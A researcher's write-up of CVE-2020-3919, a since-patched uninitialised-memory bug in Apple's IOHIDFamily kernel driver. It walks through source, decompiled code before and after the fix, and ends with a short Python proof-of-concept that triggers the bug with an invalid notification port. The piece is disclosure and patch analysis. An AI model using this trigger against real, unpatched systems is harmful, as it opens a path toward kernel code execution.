Recently Apple patched a vulnerability (CVE-2020-3919) in IOHIDFamily in their security update 10.15.4 which may allow a malicious application to execute arbitrary code with kernel privileges. It turns out this bug also affected iOS too.
I reported this issue to Apple back whilst I was still working for F-Secure. Unfortunately my actual report emails/notes have been lost now (and the credit email bounced too!), therefore this new write-up will describe the issue from what I can recall from memory and analyzing the patch Apple applied to fix the issue.
The issue was found using an private fuzzer called ‘opalrobot’, whilst the code of this fuzzer is not public, the design of the fuzzer is documented within the slides for macOS Kernel Fuzzing. The interesting thing is that this was triggered by one of the methods implemented in the open sourced support library coralsun and used to call into the driver. Within this library there is the function ioconnect_setnotificationport. This calls into IOKit using the IOConnectSetNotificationPort. This was the function which lead to the fuzzer triggering the bug in IOHIDFamily.
If we take a look at the latest public sources for 10.15 IOHIDFamily-1446.11.12 we can find the following code here used to register a notification port and spot the bug:
IOReturn IOHIDLibUserClient::registerNotificationPort(mach_port_t port, UInt32 type, UInt32 refCon)
{
if (fGate) {
return fGate->runAction(OSMemberFunctionCast(IOCommandGate::Action,
this,
&IOHIDLibUserClient::registerNotificationPortGated),
(void *)port,
(void*)(intptr_t)type,
(void*)(intptr_t)refCon);
}
else {
return kIOReturnOffline;
}
}
IOReturn IOHIDLibUserClient::registerNotificationPortGated(mach_port_t port, UInt32 type, UInt32 refCon __unused)
{
IOReturn kr = kIOReturnSuccess;
switch ( type ) {
case kIOHIDLibUserClientAsyncPortType:
if (fWakePort != MACH_PORT_NULL) {
ipc_port_release_send(fWakePort);
fWakePort = MACH_PORT_NULL;
}
fWakePort = port;
break;
case kIOHIDLibUserClientDeviceValidPortType:
if (fValidPort != MACH_PORT_NULL) {
ipc_port_release_send(fValidPort);
fValidPort = MACH_PORT_NULL;
}
static struct _notifyMsg init_msg = { {
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0),
sizeof (struct _notifyMsg),
MACH_PORT_NULL,
MACH_PORT_NULL,
0,
0
} };
if ( fValidMessage ) {
IOFree(fValidMessage, sizeof (struct _notifyMsg));
fValidMessage = NULL;
}
if ( !(fValidMessage = IOMalloc( sizeof(struct _notifyMsg))) ) {
kr = kIOReturnNoMemory;
break;
}
fValidPort = port;
if ( !fValidPort )
break;
// Initialize the events available message.
*((struct _notifyMsg *)fValidMessage) = init_msg;
((struct _notifyMsg *)fValidMessage)->h.msgh_remote_port = fValidPort;
dispatchMessage(fValidMessage);
break;
default:
kr = kIOReturnUnsupported;
break;
};
return kr;
}
IOReturn IOHIDLibUserClient::dispatchMessage(void * messageIn)
{
IOReturn ret = kIOReturnError;
mach_msg_header_t * msgh = (mach_msg_header_t *)messageIn;
if( msgh) {
ret = mach_msg_send_from_kernel( msgh, msgh->msgh_size);
switch ( ret ) {
case MACH_SEND_TIMED_OUT:/* Already has a message posted */
case MACH_MSG_SUCCESS: /* Message is posted */
break;
};
}
return ret;
}
The important things to note here are the IOKit class member variables fValidMessage and fValidPort defined as follows:
mach_port_t fValidPort;
void * fValidMessage;
We can see from the function above, that if an invalid port is passed (i.e. !fValidPort), then the function will return without initializing the memory pointed at by fValidMessage.
When closing the IOKit driver from userspace, the uninitialised value is used with the following code path:
IOReturn IOHIDLibUserClient::close()
{
HIDLibUserClientLogDebug("close");
if (!fClientOpened) {
return kIOReturnSuccess;
}
if (fNub) {
fNub->close(this, fCachedOptionBits);
}
setValid(false);
fCachedOptionBits = 0;
fClientOpened = false;
return kIOReturnSuccess;
}
void IOHIDLibUserClient::setValid(bool state)
{
if (fValid == state)
return;
HIDLibUserClientLogDebug("setValid: %s", (state ? "true" : "false"));
if ( !state ) {
// unmap this memory
if (fNub && !isInactive()) {
IOMemoryDescriptor * mem;
IOMemoryMap * map;
mem = fNub->getMemoryWithCurrentElementValues();
if ( mem ) {
map = removeMappingForDescriptor(mem);
if ( map )
map->release();
}
}
fGeneration++;
}
// set the queue states
setStateForQueues(state ? kHIDQueueStateEnable : kHIDQueueStateDisable);
// dispatch message
dispatchMessage(fValidMessage);
fValid = state;
}
IOReturn IOHIDLibUserClient::dispatchMessage(void * messageIn)
{
IOReturn ret = kIOReturnError;
mach_msg_header_t * msgh = (mach_msg_header_t *)messageIn;
if( msgh) {
ret = mach_msg_send_from_kernel( msgh, msgh->msgh_size);
switch ( ret ) {
case MACH_SEND_TIMED_OUT:/* Already has a message posted */
case MACH_MSG_SUCCESS: /* Message is posted */
break;
};
}
return ret;
}
We can confirm this with the disassembly from 10.15.3:
/* IOHIDLibUserClient::registerNotificationPortGated(ipc_port*, unsigned int, unsigned int) */
// Ghidra getting the arguments count wrong for the this ptr!
// Actually:
// param_1 = this ptr
// param_2 = port
// param_3 = type
undefined8 registerNotificationPortGated(ipc_port *param_1,uint param_2,uint param_3)
{
undefined8 *puVar1;
undefined4 in_register_00000034;
long lVar2;
undefined8 uVar3;
lVar2 = CONCAT44(in_register_00000034,param_2); // port - Take 4 bytes from in_register_00000034 and 4 bytes from param_2
if (param_3 == 1) { // kIOHIDLibUserClientDeviceValidPortType
if (*(long *)(param_1 + 0x118) != 0) { // if (fValidPort != MACH_PORT_NULL) {
_ipc_port_release_send(); // ipc_port_release_send(fValidPort);
*(undefined8 *)(param_1 + 0x118) = 0; // fValidPort = MACH_PORT_NULL;
}
if (*(long *)(param_1 + 0x128) != 0) { // if ( fValidMessage ) {
_IOFree(*(long *)(param_1 + 0x128),0x20); // IOFree(fValidMessage, sizeof (struct _notifyMsg));
*(undefined8 *)(param_1 + 0x128) = 0; // fValidMessage = NULL;
}
puVar1 = (undefined8 *)_IOMalloc(0x20); // fValidMessage = IOMalloc( sizeof(struct _notifyMsg)
*(undefined8 **)(param_1 + 0x128) = puVar1;
if (puVar1 == (undefined8 *)0x0) { // if (!fValidMessage)
uVar3 = 0xe00002bd; // kr = kIOReturnNoMemory;
}
else {
*(long *)(param_1 + 0x118) = lVar2; // fValidPort = port;
uVar3 = 0;
// Setup the message.
if (lVar2 != 0) { // if (fValidPort)
puVar1[3] = 0;
puVar1[2] = 0;
puVar1[1] = 0;
*puVar1 = 0x2000000013; // MACH_MSG_TYPE_COPY_SEND
lVar2 = *(long *)(param_1 + 0x128); // msgh = fValidMessage
*(undefined8 *)(lVar2 + 8) = *(undefined8 *)(param_1 + 0x118); // ((struct _notifyMsg *)fValidMessage)->h.msgh_remote_port = fValidPort;
if (lVar2 != 0) { // if (msgh)
_mach_msg_send_from_kernel_proper(lVar2,(ulong)*(uint *)(lVar2 + 4)); // mach_msg_send_from_kernel( msgh, msgh->msgh_size);
uVar3 = 0;
}
}
}
}
else { // kIOHIDLibUserClientAsyncPortType
uVar3 = 0xe00002c7;
if (param_3 == 0) {
if (*(long *)(param_1 + 0x110) != 0) {
_ipc_port_release_send();
*(undefined8 *)(param_1 + 0x110) = 0;
}
*(long *)(param_1 + 0x110) = lVar2;
uVar3 = 0;
}
}
return uVar3;
}
This patched version implements the following in 10.15.4:
/* IOHIDLibUserClient::registerNotificationPortGated(ipc_port*, unsigned int, unsigned int) */
undefined8 registerNotificationPortGated(ipc_port *param_1,uint param_2,uint param_3)
{
undefined8 *puVar1;
undefined4 in_register_00000034;
long lVar2;
lVar2 = CONCAT44(in_register_00000034,param_2);
if (param_3 == 1) {
if (*(long *)(param_1 + 0x118) != 0) {
_ipc_port_release_send();
*(undefined8 *)(param_1 + 0x118) = 0;
}
if (*(long *)(param_1 + 0x128) != 0) {
_IOFree(*(long *)(param_1 + 0x128),0x20);
*(undefined8 *)(param_1 + 0x128) = 0;
}
puVar1 = (undefined8 *)_IOMalloc(0x20);
*(undefined8 **)(param_1 + 0x128) = puVar1;
if (puVar1 == (undefined8 *)0x0) {
return 0xe00002bd;
}
*(long *)(param_1 + 0x118) = lVar2;
if (lVar2 != 0) {
puVar1[3] = 0;
puVar1[2] = 0;
puVar1[1] = 0;
*puVar1 = 0x2000000013;
lVar2 = *(long *)(param_1 + 0x128);
*(undefined8 *)(lVar2 + 8) = *(undefined8 *)(param_1 + 0x118);
if (lVar2 == 0) {
return 0;
}
_mach_msg_send_from_kernel_proper(lVar2,(ulong)*(uint *)(lVar2 + 4));
return 0;
}
_IOFree(puVar1,0x20); // New code added.
*(undefined8 *)(param_1 + 0x128) = 0;
}
else {
if (param_3 != 0) {
return 0xe00002c7;
}
if (*(long *)(param_1 + 0x110) != 0) {
_ipc_port_release_send();
*(undefined8 *)(param_1 + 0x110) = 0;
}
*(long *)(param_1 + 0x110) = lVar2;
}
return 0;
}
With the updated code we can see that two additional lines have been added to free the memory and zero the fValidMessage pointer:
_IOFree(puVar1,0x20); // _IOFree(fValidMessage,0x20);
*(undefined8 *)(param_1 + 0x128) = 0; // fValidMessage = 0
From this you can see it is possible to trigger the bug by passing an invalid notification port to an IOHIDLibUserClient. I will make use of the coralsun library to simplify the POC trigger code.
import iokitlib
# IOHIDLibUserClient
iokit = iokitlib.iokit()
conn = iokit.open_service(b"IOHIDDevice",4737348)
print(conn)
# Open the device with selector 1.
selector = 1
input_scalar = [10]
input_struct = None
output_scalar = None
output_struct = None
kr = iokit.connect_call_method(conn,selector,input_scalar,input_struct,output_scalar,output_struct)
print(kr)
# Now pass an invalid port in of type 1.
iokit.ioconnect_setnotificationport(conn,1,0)
Using this it may be possible to get IOKit to use uninitialised memory which is previously attacker controlled and achieve code execution within the kernel context. Exploitation is left an excercise for the reader :)